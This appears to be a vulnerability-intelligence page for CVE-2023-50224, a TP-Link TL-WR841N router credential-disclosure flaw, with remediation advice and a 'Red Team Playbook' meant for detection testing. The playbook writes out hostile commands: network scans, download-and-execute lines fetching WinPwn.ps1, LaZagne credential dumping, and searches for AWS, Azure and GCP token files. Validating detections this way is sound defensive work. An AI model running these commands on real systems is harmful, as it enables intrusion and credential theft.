CVE-2023-50224
Overview
This vulnerability is an improper authentication flaw in the TP-Link TL-WR841N router's embedded httpd service, which listens on TCP port 80. The root cause is the lack of authentication enforcement on specific endpoints handling sensitive credential information, allowing unauthorized access. The affected component is the router's web management interface, specifically the dropbearpwd functionality within the httpd service.
Vulnerability Description
TP-Link TL-WR841N dropbearpwd Improper Authentication Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of TP-Link TL-WR841N routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the httpd service, which listens on TCP port 80 by default. The issue results from improper authentication. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. . Was ZDI-CAN-19899.
Impact
An attacker with network access to the TP-Link TL-WR841N router can retrieve stored sensitive credentials without authentication or user interaction. This disclosure enables further compromise of the device, such as unauthorized administrative access or lateral movement within the network. The exposure of these credentials can lead to a full system compromise and potential control over network traffic managed by the affected router.
Solution
TP-Link has released firmware updates addressing this vulnerability for the TL-WR841N model. Users should upgrade to the latest firmware version available at https://www.tp-link.com/en/support/download/tl-wr841n/v12/#Firmware. The vendor advisory and Zeroday Initiative advisory (ZDI-23-1808) provide detailed patch instructions. Applying the official firmware update is the recommended remediation step to eliminate the improper authentication flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the TP-Link TL-WR841N router stems from improper authentication within the httpd service, which operates on TCP port 80 by default. This flaw allows unauthorized access to sensitive information stored on the device, such as user credentials. The lack of authentication means that an attacker can exploit this vulnerability without needing any prior access or credentials, making it particularly dangerous. The issue arises when the router's web interface fails to adequately secure sensitive data, allowing attackers to retrieve this information through crafted HTTP requests.
Attack vectors for this vulnerability are straightforward due to the router's reliance on a web interface that does not enforce proper authentication mechanisms. An attacker situated on the same network as the targeted router can initiate a series of requests to the device's web service. By exploiting the improper authentication, the attacker can gain access to sensitive information, including stored passwords and configuration details. This exploitation can occur with minimal technical skill, as the attacker only needs to send specific requests to the router's web interface. In scenarios where the router is deployed in environments with multiple users, such as small offices or shared living spaces, the risk of exploitation increases significantly.
The real-world impact of this vulnerability can be severe, particularly for small businesses or home users who may not have robust security measures in place. The disclosure of sensitive information could lead to unauthorized access to the network, allowing attackers to launch further attacks, such as man-in-the-middle attacks or lateral movement within the network. Additionally, if the disclosed credentials are reused across multiple services, the potential for broader compromise increases exponentially. Businesses may face reputational damage, financial loss, and regulatory scrutiny if sensitive customer data is exposed due to this vulnerability.
To detect and mitigate this vulnerability, network administrators should implement several strategies. Regularly updating the firmware of the affected TP-Link routers is crucial, as manufacturers often release patches to address known vulnerabilities. Additionally, administrators should employ network segmentation to limit access to sensitive devices, ensuring that only trusted users can interact with the router. Monitoring network traffic for unusual patterns can also help identify potential exploitation attempts. Implementing strong password policies and encouraging users to change default credentials can further reduce the risk of unauthorized access.
In conclusion, the improper authentication vulnerability in the TP-Link TL-WR841N router poses a significant threat to network security. The ease of exploitation, combined with the potential for severe real-world consequences, underscores the importance of proactive security measures. By prioritizing firmware updates, network segmentation, and user education, organizations can mitigate the risks associated with this vulnerability and protect their sensitive information from unauthorized access.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-50224, with a recent uptick in telemetry indicating increased attempts to exploit the improper authentication flaw in TP-Link TL-WR841N routers. Although the overall exploit landscape remains unchanged with no new proof-of-concept exploits publicly disclosed, the slight rise in the EPSS score and the inclusion of this vulnerability in the KEV catalog highlight growing recognition of its potential impact. This escalation matters because it signals heightened adversary interest, which could precede more widespread or automated exploitation campaigns targeting network-adjacent devices. For defenders, this trend underscores the necessity of maintaining vigilance around vulnerable router deployments, as the ease of exploitation without authentication lowers the barrier for attackers. While the current threat level remains medium, the observed increase in exploitation attempts suggests a potential for elevated risk if exploitation activity continues to grow or if new exploit techniques emerge.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tp-Link | Tl-Wr841n Firmware | 3.16.9 |
cpe:2.3:o:tp-link:tl-wr841n_firmware:3.16.9:build_200409:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
10 eventsSighting activity recorded
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Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-50224 |
| zerodayinitiative.com |
GitHub CVE
x_research-advisory
|
https://www.zerodayinitiative.com/advisories/ZDI-23-1808/ |
| tp-link.com |
GitHub CVE
vendor-advisory
|
https://www.tp-link.com/en/support/download/tl-wr841n/v12/#Firmware |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-50224 |